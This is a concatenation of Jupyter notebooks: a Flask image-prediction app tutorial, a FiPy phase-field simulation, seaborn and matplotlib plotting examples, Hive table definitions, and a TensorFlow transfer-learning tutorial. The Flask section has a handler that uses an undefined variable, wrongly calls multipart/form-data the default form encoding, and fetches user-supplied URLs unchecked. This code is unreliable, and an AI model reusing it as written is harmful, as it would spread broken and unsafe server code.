"""
(4a) Render a template.
"""
return render_template('simple_page.html')
# -
# It's tempting to defer all design etc until later, but I strongly recommend using some styling from the start so you can evolve it alongside the content. There are a couple of 'off the shelf' styles I use:
#
# - [Bootstrap](https://getbootstrap.com/), the gold standard, originally from Twitter. Downside: looks like every other website in the universe.
# - [new.css](https://newcss.net/), arguably the simplest possible HTML framework and the one I'm using here.
#
# There are loads of others, eg [Skeleton](http://getskeleton.com/) and [Foundation](https://get.foundation/). Find more by Googling something like _responsive HTML5 frameworks_.
# Now we can add a form:
@app.route('/form', methods=['GET'])
def form():
"""
(4b) Make a prediction from a URL given via a GET form.
"""
url = request.args.get('url')
if url:
img = utils.fetch_image(url)
result = utils.predict_from_image(CLF, img)
result['url'] = url # If we add this back, we can display it.
else:
result = {}
return render_template('form.html', result=result)
# The key part of the form HTML document, `form.html`, looks like this:
#
# <form action="/form" method="get">
# <input type="url" name="url" placeholder="Paste a URL" required="required" size=64 />
# <button type="submit">Predict</button>
# </form>
#
# Then we have a bit of Jinja2 'code' in the page to show items from a `result` dictionary, if that dictionary contains any items:
#
# {% if result %}
#
# <p>{{ result['class'] }}: {{ "%.3f"|format(result['prob']) }}</p>
#
# {% endif %}
#
# That's it!
# <html><div style="background-color:#eeffee; border-radius: 8px; border: solid 1px #88aa88; padding: 0.5em 1em 1em 1em;">
#
# <h3>EXERCISE</h3>
#
# <p>Add an <strong>About</strong> page to the site. You will need to add a template (an HTML file), and a function to handle GET requests on the <code>/about</code> path.</p>
#
# </div></html>
# ## GET vs POST
#
# In a nutshell, `GET` is awesome because the data is passed in the URL. This means we can share the result of a query (say) just by sharing the URL with someone. But the URL is not secure, e.g. it's recorded in the server's logs, and it limits both the size and type of data we can pass to the server.
#
# If we want to pass a lot of data, or structured data (e.g. a nested dictionary), or a bunch of non-text bytes, or we want to pass secure data, we'll need to use the `POST` method instead.
#
# Our handlers may stil want to handle `GET` requests, since that's how a browser is going to ask for a resource.
# We could convert the GET form to a post form simply by changing the `method` (and handling that on the back-end):
#
# <form action="/form" method="post">
# <input type="url" name="url" placeholder="Paste a URL" required="required" size=64 />
# <button type="submit">Predict</button>
# </form>
# ## 5. Upload image via a POST form
@app.route('/upload', methods=['GET', 'POST'])
def upload():
"""
(5) Make a prediction from an image uploaded via a POST form.
Bonus: on a mobile device, there will automatically be an option to
capture via the camera.
"""
if request.method == 'POST':
data = request.files['image'].read()
img = Image.open(BytesIO(data))
result = utils.predict_from_image(CLF, img)
# result['image'] = base64.b64encode(data).decode('utf-8')
else:
result = {}
return render_template('upload.html', result=result)
# The HTML for the form is like this:
#
# <form action="/upload" method="POST" enctype="multipart/form-data">
# <input type="file" accept="image/*" name="image" required="required" />
# <button type="submit" name="action">Upload</button>
# </form>
#
# The `enctype` parameter is needed for sending more complex data types such as binary files. The default is `enctype="multipart/form-data"` ([more about this](https://www.w3schools.com/tags/att_form_enctype.asp)).
# ### Displaying the image
#
# We can send the image back to the front-end by adding a base64-encoded string to the `result` dictionary (uncomment the line in the handler function above). Then we can display the image with some HTML:
#
# <img src="data:image/png;base64,{{ result['image'] }}" />
#
# `base64` is an encoding similar to binary, octal and hexadecimal, but with 64 symbols instead of 2, 8 and 16 respectively. Each symbol therefore represents 6 bits of data (2<sup>6</sup> = 64), so you can pack 3 bytes into 4 symbols. [Read more about base64 encoding.](https://en.wikipedia.org/wiki/Base64)
# ## 6. Sending a plot back to the user
#
# In a simple app, I usually try to reduce complexity as much as possible. So it's useful to know how to store a `matplotlib` plot in memory, by tricking it into thinking we're saving a file, then sending those bytes to the front-end.
#
# Here's the code to save the `matplotlib` plot:
# +
import matplotlib.pyplot as plt
from io import BytesIO
import base64
fig, ax = plt.subplots()
ax.plot([0, 1, 2, 3, 4, 5])
# Put in memory.
handle = BytesIO()
plt.savefig(handle, format='png', facecolor=fig.get_facecolor())
plt.close()
# Encode.
handle.seek(0)
image_string = base64.b64encode(handle.getvalue()).decode('utf8')
# -
# Now we add one line to the handler:
result['plot'] = utils.plot(result['probs'], CLF.classes_)
# ## 7. A web API for POST requests
#
# Instead of passing data via a form, programmers would often like to pass data to a server programmatically. To handle requests like this, we can write a special endpoint.
#
# We'll always want to return JSON from an endpoint like this, so we don't need templates or any HTML:
@app.route('/post', methods=['POST'])
def post():
"""
(7) Make a prediction from a URL provided via POST request.
"""
url = request.json.get('url')
img = utils.fetch_image(url)
result = utils.predict_from_image(CLF, img)
return jsonify(result)
# ## 8. A web API handling images or URLs
#
# If accessing the web API from code, you may not have a URL to pass to the service, and there is no form for doing a file upload. So we need a way to pass the image as data. There are lots of ways to do this; one way is to encode as base64.
@app.route('/api/v0.1', methods=['POST'])
def api():
"""
(8) Extend example (7) to make a prediction from a URL or a
base64-encoded image via POST request.
"""
data = request.json.get('image')
if data.startswith('http'):
img = utils.fetch_image(url)
else:
img = Image.open(BytesIO(base64.b64decode(data)))
result = utils.predict_from_image(CLF, img)
return jsonify(result)
# Check out [Hitting_our_web_API.ipynb](./Hitting_our_web_API.ipynb) to see how to use this API.
| notebooks/Building_a_flask_app.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 2
# language: python
# name: python2
# ---
# # Table of Contents
# * [1a. Periodic spinodal decomposition on a square domain](#1a.-Periodic-spinodal-decomposition-on-a-square-domain)
# * [Use Binder For Live Examples](#Use-Binder-For-Live-Examples)
# * [Define $f_0$](#Define-$f_0$)
# * [Define the Equation](#Define-the-Equation)
# * [Solve the Equation](#Solve-the-Equation)
# * [Run the Example Locally](#Run-the-Example-Locally)
# * [Movie of Evolution](#Movie-of-Evolution)
#
# # 1a. Periodic spinodal decomposition on a square domain
# ## Use Binder For Live Examples
# [](http://mybinder.org/repo/wd15/fipy-hackathon1)
# The free energy is given by,
#
# $$ f_0\left[ c \left( \vec{r} \right) \right] =
# - \frac{A}{2} \left(c - c_m\right)^2
# + \frac{B}{4} \left(c - c_m\right)^4
# + \frac{c_{\alpha}}{4} \left(c - c_{\alpha} \right)^4
# + \frac{c_{\beta}}{4} \left(c - c_{\beta} \right)^4 $$
#
# In FiPy we write the evolution equation as
#
# $$ \frac{\partial c}{\partial t} = \nabla \cdot \left[
# D \left( c \right) \left( \frac{ \partial^2 f_0 }{ \partial c^2} \nabla c - \kappa \nabla \nabla^2 c \right)
# \right] $$
#
# Let's start by calculating $ \frac{ \partial^2 f_0 }{ \partial c^2} $ using sympy. It's easy for this case, but useful in the general case for taking care of difficult book keeping in phase field problems.
# +
# %matplotlib inline
import sympy
import fipy as fp
import numpy as np
# -
A, c, c_m, B, c_alpha, c_beta = sympy.symbols("A c_var c_m B c_alpha c_beta")
f_0 = - A / 2 * (c - c_m)**2 + B / 4 * (c - c_m)**4 + c_alpha / 4 * (c - c_alpha)**4 + c_beta / 4 * (c - c_beta)**4
print f_0
sympy.diff(f_0, c, 2)
# The first step in implementing any problem in FiPy is to define the mesh. For [Problem 1a]({{ site.baseurl }}/hackathon1/#a.-Square-Periodic) the solution domain is just a square domain, but the boundary conditions are periodic, so a `PeriodicGrid2D` object is used. No other boundary conditions are required.
mesh = fp.PeriodicGrid2D(nx=50, ny=50, dx=0.5, dy=0.5)
# The next step is to define the parameters and create a solution variable.
# +
c_alpha = 0.05
c_beta = 0.95
A = 2.0
kappa = 2.0
c_m = (c_alpha + c_beta) / 2.
B = A / (c_alpha - c_m)**2
D = D_alpha = D_beta = 2. / (c_beta - c_alpha)
c_0 = 0.45
q = np.sqrt((2., 3.))
epsilon = 0.01
c_var = fp.CellVariable(mesh=mesh, name=r"$c$", hasOld=True)
# -
# Now we need to define the initial conditions given by,
#
# Set $c\left(\vec{r}, t\right)$ such that
#
# $$ c\left(\vec{r}, 0\right) = \bar{c}_0 + \epsilon \cos \left( \vec{q} \cdot \vec{r} \right) $$
r = np.array((mesh.x, mesh.y))
c_var[:] = c_0 + epsilon * np.cos((q[:, None] * r).sum(0))
viewer = fp.Viewer(c_var)
# ## Define $f_0$
# To define the equation with FiPy first define `f_0` in terms of FiPy. Recall `f_0` from above calculated using Sympy. Here we use the string representation and set it equal to `f_0_var` using the `exec` command.
out = sympy.diff(f_0, c, 2)
exec "f_0_var = " + repr(out)
#f_0_var = -A + 3*B*(c_var - c_m)**2 + 3*c_alpha*(c_var - c_alpha)**2 + 3*c_beta*(c_var - c_beta)**2
f_0_var
# ## Define the Equation
eqn = fp.TransientTerm(coeff=1.) == fp.DiffusionTerm(D * f_0_var) - fp.DiffusionTerm((D, kappa))
eqn
# ## Solve the Equation
# To solve the equation a simple time stepping scheme is used which is decreased or increased based on whether the residual decreases or increases. A time step is recalculated if the required tolerance is not reached.
elapsed = 0.0
steps = 0
dt = 0.01
total_sweeps = 2
tolerance = 1e-1
total_steps = 100
# +
c_var[:] = c_0 + epsilon * np.cos((q[:, None] * r).sum(0))
c_var.updateOld()
from fipy.solvers.pysparse import LinearLUSolver as Solver
solver = Solver()
while steps < total_steps:
res0 = eqn.sweep(c_var, dt=dt, solver=solver)
for sweeps in range(total_sweeps):
res = eqn.sweep(c_var, dt=dt, solver=solver)
if res < res0 * tolerance:
steps += 1
elapsed += dt
dt *= 1.1
c_var.updateOld()
else:
dt *= 0.8
c_var[:] = c_var.old
viewer.plot()
print 'elapsed_time:',elapsed
# -
# ## Run the Example Locally
# The following cell will dumpy a file called `fipy_hackathon1a.py` to the local file system to be run. The images are saved out at each time step.
# +
# %%writefile fipy_hackathon_1a.py
import fipy as fp
import numpy as np
mesh = fp.PeriodicGrid2D(nx=400, ny=400, dx=0.5, dy=0.5)
c_alpha = 0.05
c_beta = 0.95
A = 2.0
kappa = 2.0
c_m = (c_alpha + c_beta) / 2.
B = A / (c_alpha - c_m)**2
D = D_alpha = D_beta = 2. / (c_beta - c_alpha)
c_0 = 0.45
q = np.sqrt((2., 3.))
epsilon = 0.01
c_var = fp.CellVariable(mesh=mesh, name=r"$c$", hasOld=True)
r = np.array((mesh.x, mesh.y))
c_var[:] = c_0 + epsilon * np.cos((q[:, None] * r).sum(0))
f_0_var = -A + 3*B*(c_var - c_m)**2 + 3*c_alpha*(c_var - c_alpha)**2 + 3*c_beta*(c_var - c_beta)**2
eqn = fp.TransientTerm(coeff=1.) == fp.DiffusionTerm(D * f_0_var) - fp.DiffusionTerm((D, kappa))
elapsed = 0.0
steps = 0
dt = 0.01
total_sweeps = 2
tolerance = 1e-1
total_steps = 1000
c_var[:] = c_0 + epsilon * np.cos((q[:, None] * r).sum(0))
c_var.updateOld()
from fipy.solvers.pysparse import LinearLUSolver as Solver
solver = Solver()
viewer = fp.Viewer(c_var)
while steps < total_steps:
res0 = eqn.sweep(c_var, dt=dt, solver=solver)
for sweeps in range(total_sweeps):
res = eqn.sweep(c_var, dt=dt, solver=solver)
print ' '
print 'steps',steps
print 'res',res
print 'sweeps',sweeps
print 'dt',dt
if res < res0 * tolerance:
steps += 1
elapsed += dt
dt *= 1.1
if steps % 1 == 0:
viewer.plot('image{0}.png'.format(steps))
c_var.updateOld()
else:
dt *= 0.8
c_var[:] = c_var.old
# -
# ## Movie of Evolution
# The movie of the evolution for 900 steps.
#
# The movie was generated with the output files of the form `image*.png` using the following commands,
#
# $ rename 's/\d+/sprintf("%05d",$&)/e' image*
# $ ffmpeg -f image2 -r 6 -i 'image%05d.png' output.mp4
from IPython.display import YouTubeVideo
scale = 1.5
YouTubeVideo('t3tMYp806E4', width=420 * scale, height=315 * scale, rel=0)
| 1a.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# <!--BOOK_INFORMATION-->
# <img align="left" style="padding-right:10px;" src="fig/cover-small.jpg">
# *This notebook contains an excerpt from the [Whirlwind Tour of Python](http://www.oreilly.com/programming/free/a-whirlwind-tour-of-python.csp) by <NAME>; the content is available [on GitHub](https://github.com/jakevdp/WhirlwindTourOfPython).*
#
# *The text and code are released under the [CC0](https://github.com/jakevdp/WhirlwindTourOfPython/blob/master/LICENSE) license; see also the companion project, the [Python Data Science Handbook](https://github.com/jakevdp/PythonDataScienceHandbook).*
#
# <!--NAVIGATION-->
# < [Resources for Further Learning](16-Further-Resources.ipynb) | [Contents](Index.ipynb) |
# # Appendix: Figure Code
# This section contains code used to generate figures that appear in this report.
# %matplotlib inline
import matplotlib.pyplot as plt
import os
if not os.path.exists('fig'):
os.makedirs('fig')
# ## Section 6: List Indexing
#
# This figure helps visualize how Python's indexing works.
# +
L = [2, 3, 5, 7, 11]
fig = plt.figure(figsize=(10, 4))
ax = fig.add_axes([0, 0, 1, 1], xticks=[], yticks=[], frameon=False,
aspect='equal')
for i in range(5):
ax.add_patch(plt.Rectangle([i - 0.5, -0.5], 1, 1, fc='none', ec='black'))
ax.text(i, -0.05, L[i], size=100,
ha='center', va='center', family='monospace')
for i in range(6):
ax.text(i - 0.5, 0.55, str(i), size=20,
ha='center', va='bottom', family='monospace')
for i in range(5):
ax.text(i - 0.5, -0.58, str(-5 + i), size=20,
ha='center', va='top', family='monospace')
ax.axis([-0.7, 4.7, -0.7, 0.7]);
fig.savefig('fig/list-indexing.png');
# -
# <!--NAVIGATION-->
# < [Resources for Further Learning](16-Further-Resources.ipynb) | [Contents](Index.ipynb) |
| 17-Figures.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# +
# #!pip install seaborn
#https://seaborn.pydata.org/introduction.html
# -
import seaborn as sns
sns.set()
tips = sns.load_dataset("tips")
sns.relplot(x="total_bill", y="tip", col="time",
hue="smoker", style="smoker", size="size",
data=tips);
#tips
dots = sns.load_dataset("dots")
sns.relplot(x="time", y="firing_rate", col="align",
hue="choice", size="coherence", style="choice",
facet_kws=dict(sharex=False),
kind="line", legend="full", data=dots);
fmri = sns.load_dataset("fmri")
sns.relplot(x="timepoint", y="signal", col="region",
hue="event", style="event",
kind="line", data=fmri);
sns.lmplot(x="total_bill", y="tip", col="time", hue="smoker",
data=tips);
sns.catplot(x="day", y="total_bill", hue="smoker",
kind="swarm", data=tips);
sns.catplot(x="day", y="total_bill", hue="smoker",
kind="violin", split=True, data=tips);
import matplotlib.pyplot as plt
f, axes = plt.subplots(1, 2, sharey=True, figsize=(6, 4))
sns.boxplot(x="day", y="tip", data=tips, ax=axes[0])
sns.scatterplot(x="total_bill", y="tip", hue="day", data=tips, ax=axes[1]);
iris = sns.load_dataset("iris")
sns.jointplot(x="sepal_length", y="petal_length", data=iris);
sns.pairplot(data=iris, hue="species");
# +
import numpy as np
import pandas as pd
import seaborn as sns
sns.set()
# Generate an example radial datast
r = np.linspace(0, 10, num=250)
df = pd.DataFrame({'r': r, 'slow': r/2, 'medium': 2 * r, 'fast': 2.5 * r})
# Convert the dataframe to long-form or "tidy" format
df = pd.melt(df, id_vars=['r'], var_name='speed', value_name='theta')
df
# Set up a grid of axes with a polar projection
g = sns.FacetGrid(df, col="speed", hue="speed",
subplot_kws=dict(projection='polar'), height=4.5,
sharex=False, sharey=False, despine=False)
g
# # Draw a scatterplot onto each axes in the grid
g.map(sns.scatterplot, "theta", "r")
| notebooks/work/examples/SeaBorn.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3 (ipykernel)
# language: python
# name: python3
# ---
# # Data Definition Language - DDL
# Let us create a database `movielens_parquet`
# %load_ext sql
# %sql hive://hadoop@localhost:10000/
# + language="sql"
# CREATE DATABASE IF NOT EXISTS movielens_parquet
# -
# %sql SHOW DATABASES
# %sql USE movielens_parquet
# ## Defining the Tables and Loading the Data
# ### Movies
# + language="sql"
# CREATE TABLE IF NOT EXISTS movies (
# movieId int,
# title String,
# year int,
# genres ARRAY<STRING>
# )
# STORED AS Parquet
# -
# %sql INSERT INTO TABLE movies select * from movielens.movies
# ## Ratings
# + language="sql"
#
# CREATE TABLE IF NOT EXISTS ratings (
# userid INT,
# movieid INT,
# rating INT,
# `timestamp` bigint
# )
# STORED AS Parquet
# -
# %sql INSERT INTO TABLE ratings select * from movielens.ratings
# ## Creating a Joined Table
# + language="sql"
#
# CREATE TABLE IF NOT EXISTS movie_rating (
# movieid INT,
# title STRING,
# year INT,
# genres ARRAY<STRING>,
# num_rating INT,
# first_quartile_rating FLOAT,
# median_rating FLOAT,
# third_quartile_rating FLOAT,
# avg_rating FLOAT,
# min_rating FLOAT,
# max_rating FLOAT
# )
# STORED AS Parquet
# -
# %sql INSERT INTO TABLE movie_rating select * from movielens.movie_rating
| V6/3_movie_lens_parquet/1_DDL_Parquet.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# # TensorFlow Tutorial #08
# # Transfer Learning
#
# by [<NAME>](http://www.hvass-labs.org/)
# / [GitHub](https://github.com/Hvass-Labs/TensorFlow-Tutorials) / [Videos on YouTube](https://www.youtube.com/playlist?list=PL9Hr9sNUjfsmEu1ZniY0XpHSzl5uihcXZ)
# ## Introduction
#
# We saw in the previous Tutorial #07 how to use the pre-trained Inception model for classifying images. Unfortunately the Inception model seemed unable to classify images of people. The reason was the data-set used for training the Inception model, which had some confusing text-labels for classes.
#
# The Inception model is actually quite capable of extracting useful information from an image. So we can instead train the Inception model using another data-set. But it takes several weeks using a very powerful and expensive computer to fully train the Inception model on a new data-set.
#
# We can instead re-use the pre-trained Inception model and merely replace the layer that does the final classification. This is called Transfer Learning.
#
# This tutorial builds on the previous tutorials so you should be familiar with Tutorial #07 on the Inception model, as well as earlier tutorials on how to build and train Neural Networks in TensorFlow. A part of the source-code for this tutorial is located in the `inception.py` file.
# ## Flowchart
# The following chart shows how the data flows when using the Inception model for Transfer Learning. First we input and process an image with the Inception model. Just prior to the final classification layer of the Inception model, we save the so-called Transfer Values to a cache-file.
#
# The reason for using a cache-file is that it takes a long time to process an image with the Inception model. My laptop computer with a Quad-Core 2 GHz CPU can process about 3 images per second using the Inception model. If each image is processed more than once then we can save a lot of time by caching the transfer-values.
#
# The transfer-values are also sometimes called bottleneck-values, but that is a confusing term so it is not used here.
#
# When all the images in the new data-set have been processed through the Inception model and the resulting transfer-values saved to a cache file, then we can use those transfer-values as the input to another neural network. We will then train the second neural network using the classes from the new data-set, so the network learns how to classify images based on the transfer-values from the Inception model.
#
# In this way, the Inception model is used to extract useful information from the images and another neural network is then used for the actual classification.
from IPython.display import Image, display
Image('images/08_transfer_learning_flowchart.png')
# ## Imports
# +
# %matplotlib inline
import matplotlib.pyplot as plt
import tensorflow as tf
import numpy as np
import time
from datetime import timedelta
import os
# Functions and classes for loading and using the Inception model.
import inception
# We use Pretty Tensor to define the new classifier.
import prettytensor as pt
# -
# This was developed using Python 3.5.2 (Anaconda) and TensorFlow version:
tf.__version__
# PrettyTensor version:
pt.__version__
# ## Load Data for CIFAR-10
import cifar10
# The data dimensions have already been defined in the cifar10 module, so we just need to import the ones we need.
from cifar10 import num_classes
# Set the path for storing the data-set on your computer.
cifar10.data_path = "data/CIFAR-10/"
# The CIFAR-10 data-set is about 163 MB and will be downloaded automatically if it is not located in the given path.
cifar10.maybe_download_and_extract()
# Load the class-names.
class_names = cifar10.load_class_names()
class_names
# Load the training-set. This returns the images, the class-numbers as integers, and the class-numbers as One-Hot encoded arrays called labels.
images_train, cls_train, labels_train = cifar10.load_training_data()
# Load the test-set.
images_test, cls_test, labels_test = cifar10.load_test_data()
# The CIFAR-10 data-set has now been loaded and consists of 60,000 images and associated labels (i.e. classifications of the images). The data-set is split into 2 mutually exclusive sub-sets, the training-set and the test-set.
print("Size of:")
print("- Training-set:\t\t{}".format(len(images_train)))
print("- Test-set:\t\t{}".format(len(images_test)))
# ### Helper-function for plotting images
# Function used to plot at most 9 images in a 3x3 grid, and writing the true and predicted classes below each image.
def plot_images(images, cls_true, cls_pred=None, smooth=True):
assert len(images) == len(cls_true)
# Create figure with sub-plots.
fig, axes = plt.subplots(3, 3)
# Adjust vertical spacing.
if cls_pred is None:
hspace = 0.3
else:
hspace = 0.6
fig.subplots_adjust(hspace=hspace, wspace=0.3)
# Interpolation type.
if smooth:
interpolation = 'spline16'
else:
interpolation = 'nearest'
for i, ax in enumerate(axes.flat):
# There may be less than 9 images, ensure it doesn't crash.
if i < len(images):
# Plot image.
ax.imshow(images[i],
interpolation=interpolation)
# Name of the true class.
cls_true_name = class_names[cls_true[i]]
# Show true and predicted classes.
if cls_pred is None:
xlabel = "True: {0}".format(cls_true_name)
else:
# Name of the predicted class.
cls_pred_name = class_names[cls_pred[i]]
xlabel = "True: {0}\nPred: {1}".format(cls_true_name, cls_pred_name)
# Show the classes as the label on the x-axis.
ax.set_xlabel(xlabel)
# Remove ticks from the plot.
ax.set_xticks([])
ax.set_yticks([])
# Ensure the plot is shown correctly with multiple plots
# in a single Notebook cell.
plt.show()
# ### Plot a few images to see if data is correct
# +
# Get the first images from the test-set.
images = images_test[0:9]
# Get the true classes for those images.
cls_true = cls_test[0:9]
# Plot the images and labels using our helper-function above.
plot_images(images=images, cls_true=cls_true, smooth=False)
# -
# ## Download the Inception Model
# The Inception model is downloaded from the internet. This is the default directory where you want to save the data-files. The directory will be created if it does not exist.
inception.data_dir = 'inception/'
# Download the data for the Inception model if it doesn't already exist in the directory. It is 85 MB.
#
# See Tutorial #07 for more details.
inception.maybe_download()
# ## Load the Inception Model
# Load the Inception model so it is ready for classifying images.
#
# Note the deprecation warning, which might cause the program to fail in the future.
model = inception.Inception()
# ## Calculate Transfer-Values
# Import a helper-function for caching the transfer-values of the Inception model.
from inception import transfer_values_cache
# Set the file-paths for the caches of the training-set and test-set.
file_path_cache_train = os.path.join(cifar10.data_path, 'inception_cifar10_train.pkl')
file_path_cache_test = os.path.join(cifar10.data_path, 'inception_cifar10_test.pkl')
# +
print("Processing Inception transfer-values for training-images ...")
# Scale images because Inception needs pixels to be between 0 and 255,
# while the CIFAR-10 functions return pixels between 0.0 and 1.0
images_scaled = images_train * 255.0
# If transfer-values have already been calculated then reload them,
# otherwise calculate them and save them to a cache-file.
transfer_values_train = transfer_values_cache(cache_path=file_path_cache_train,
images=images_scaled,
model=model)
# +
print("Processing Inception transfer-values for test-images ...")
# Scale images because Inception needs pixels to be between 0 and 255,
# while the CIFAR-10 functions return pixels between 0.0 and 1.0
images_scaled = images_test * 255.0
# If transfer-values have already been calculated then reload them,
# otherwise calculate them and save them to a cache-file.
transfer_values_test = transfer_values_cache(cache_path=file_path_cache_test,
images=images_scaled,
model=model)
# -
# Check the shape of the array with the transfer-values. There are 50,000 images in the training-set and for each image there are 2048 transfer-values.
transfer_values_train.shape
# Similarly, there are 10,000 images in the test-set with 2048 transfer-values for each image.
transfer_values_test.shape
# ### Helper-function for plotting transfer-values
def plot_transfer_values(i):
print("Input image:")
# Plot the i'th image from the test-set.
plt.imshow(images_test[i], interpolation='nearest')
plt.show()
print("Transfer-values for the image using Inception model:")
# Transform the transfer-values into an image.
img = transfer_values_test[i]
img = img.reshape((32, 64))
# Plot the image for the transfer-values.
plt.imshow(img, interpolation='nearest', cmap='Reds')
plt.show()
plot_transfer_values(i=16)
plot_transfer_values(i=17)
# ## Analysis of Transfer-Values using PCA
# Use Principal Component Analysis (PCA) from scikit-learn to reduce the array-lengths of the transfer-values from 2048 to 2 so they can be plotted.
from sklearn.decomposition import PCA
# Create a new PCA-object and set the target array-length to 2.
pca = PCA(n_components=2)
# It takes a while to compute the PCA so the number of samples has been limited to 3000. You can try and use the full training-set if you like.
transfer_values = transfer_values_train[0:3000]
# Get the class-numbers for the samples you selected.
cls = cls_train[0:3000]
# Check that the array has 3000 samples and 2048 transfer-values for each sample.
transfer_values.shape
# Use PCA to reduce the transfer-value arrays from 2048 to 2 elements.
transfer_values_reduced = pca.fit_transform(transfer_values)
# Check that it is now an array with 3000 samples and 2 values per sample.
transfer_values_reduced.shape
# Helper-function for plotting the reduced transfer-values.
def plot_scatter(values, cls):
# Create a color-map with a different color for each class.
import matplotlib.cm as cm
cmap = cm.rainbow(np.linspace(0.0, 1.0, num_classes))
# Get the color for each sample.
colors = cmap[cls]
# Extract the x- and y-values.
x = values[:, 0]
y = values[:, 1]
# Plot it.
plt.scatter(x, y, color=colors)
plt.show()
# Plot the transfer-values that have been reduced using PCA. There are 10 different colors for the different classes in the CIFAR-10 data-set. The colors are grouped together but with very large overlap. This may be because PCA cannot properly separate the transfer-values.
plot_scatter(transfer_values_reduced, cls)
# ## Analysis of Transfer-Values using t-SNE
from sklearn.manifold import TSNE
# Another method for doing dimensionality reduction is t-SNE. Unfortunately, t-SNE is very slow so we first use PCA to reduce the transfer-values from 2048 to 50 elements.
pca = PCA(n_components=50)
transfer_values_50d = pca.fit_transform(transfer_values)
# Create a new t-SNE object for the final dimensionality reduction and set the target to 2-dim.
tsne = TSNE(n_components=2)
# Perform the final reduction using t-SNE. The current implemenation of t-SNE in scikit-learn cannot handle data with many samples so this might crash if you use the full training-set.
transfer_values_reduced = tsne.fit_transform(transfer_values_50d)
# Check that it is now an array with 3000 samples and 2 transfer-values per sample.
transfer_values_reduced.shape
# Plot the transfer-values that have been reduced to 2-dim using t-SNE, which shows better separation than the PCA-plot above.
#
# This means the transfer-values from the Inception model appear to contain enough information to separate the CIFAR-10 images into classes, although there is still some overlap so the separation is not perfect.
plot_scatter(transfer_values_reduced, cls)
# ## New Classifier in TensorFlow
# Now we will create another neural network in TensorFlow. This network will take as input the transfer-values from the Inception model and output the predicted classes for CIFAR-10 images.
#
# It is assumed that you are already familiar with how to build neural networks in TensorFlow, otherwise see e.g. Tutorial #03.
# ### Placeholder Variables
# First we need the array-length for transfer-values which is stored as a variable in the object for the Inception model.
transfer_len = model.transfer_len
# Now create a placeholder variable for inputting the transfer-values from the Inception model into the new network that we are building. The shape of this variable is `[None, transfer_len]` which means it takes an input array with an arbitrary number of samples as indicated by the keyword `None` and each sample has 2048 elements, equal to `transfer_len`.
x = tf.placeholder(tf.float32, shape=[None, transfer_len], name='x')
# Create another placeholder variable for inputting the true class-label of each image. These are so-called One-Hot encoded arrays with 10 elements, one for each possible class in the data-set.
y_true = tf.placeholder(tf.float32, shape=[None, num_classes], name='y_true')
# Calculate the true class as an integer. This could also be a placeholder variable.
y_true_cls = tf.argmax(y_true, dimension=1)
# ### Neural Network
# Create the neural network for doing the classification on the CIFAR-10 data-set. This takes as input the transfer-values from the Inception model which will be fed into the placeholder variable `x`. The network outputs the predicted class in `y_pred`.
#
# See Tutorial #03 for more details on how to use Pretty Tensor to construct neural networks.
# +
# Wrap the transfer-values as a Pretty Tensor object.
x_pretty = pt.wrap(x)
with pt.defaults_scope(activation_fn=tf.nn.relu):
y_pred, loss = x_pretty.\
fully_connected(size=1024, name='layer_fc1').\
softmax_classifier(num_classes=num_classes, labels=y_true)
# -
# ### Optimization Method
# Create a variable for keeping track of the number of optimization iterations performed.
global_step = tf.Variable(initial_value=0,
name='global_step', trainable=False)
# Method for optimizing the new neural network.
optimizer = tf.train.AdamOptimizer(learning_rate=1e-4).minimize(loss, global_step)
# ### Classification Accuracy
# The output of the network `y_pred` is an array with 10 elements. The class number is the index of the largest element in the array.
y_pred_cls = tf.argmax(y_pred, dimension=1)
# Create an array of booleans whether the predicted class equals the true class of each image.
correct_prediction = tf.equal(y_pred_cls, y_true_cls)
# The classification accuracy is calculated by first type-casting the array of booleans to floats, so that False becomes 0 and True becomes 1, and then taking the average of these numbers.
accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))
# ## TensorFlow Run
# ### Create TensorFlow Session
# Once the TensorFlow graph has been created, we have to create a TensorFlow session which is used to execute the graph.
session = tf.Session()
# ### Initialize Variables
# The variables for the new network must be initialized before we start optimizing them.
session.run(tf.global_variables_initializer())
# ### Helper-function to get a random training-batch
# There are 50,000 images (and arrays with transfer-values for the images) in the training-set. It takes a long time to calculate the gradient of the model using all these images (transfer-values). We therefore only use a small batch of images (transfer-values) in each iteration of the optimizer.
#
# If your computer crashes or becomes very slow because you run out of RAM, then you may try and lower this number, but you may then need to perform more optimization iterations.
train_batch_size = 64
# Function for selecting a random batch of transfer-values from the training-set.
def random_batch():
# Number of images (transfer-values) in the training-set.
num_images = len(transfer_values_train)
# Create a random index.
idx = np.random.choice(num_images,
size=train_batch_size,
replace=False)
# Use the random index to select random x and y-values.
# We use the transfer-values instead of images as x-values.
x_batch = transfer_values_train[idx]
y_batch = labels_train[idx]
return x_batch, y_batch
# ### Helper-function to perform optimization
# This function performs a number of optimization iterations so as to gradually improve the variables of the neural network. In each iteration, a new batch of data is selected from the training-set and then TensorFlow executes the optimizer using those training samples. The progress is printed every 100 iterations.
def optimize(num_iterations):
# Start-time used for printing time-usage below.
start_time = time.time()
for i in range(num_iterations):
# Get a batch of training examples.
# x_batch now holds a batch of images (transfer-values) and
# y_true_batch are the true labels for those images.
x_batch, y_true_batch = random_batch()
# Put the batch into a dict with the proper names
# for placeholder variables in the TensorFlow graph.
feed_dict_train = {x: x_batch,
y_true: y_true_batch}
# Run the optimizer using this batch of training data.
# TensorFlow assigns the variables in feed_dict_train
# to the placeholder variables and then runs the optimizer.
# We also want to retrieve the global_step counter.
i_global, _ = session.run([global_step, optimizer],
feed_dict=feed_dict_train)
# Print status to screen every 100 iterations (and last).
if (i_global % 100 == 0) or (i == num_iterations - 1):
# Calculate the accuracy on the training-batch.
batch_acc = session.run(accuracy,
feed_dict=feed_dict_train)
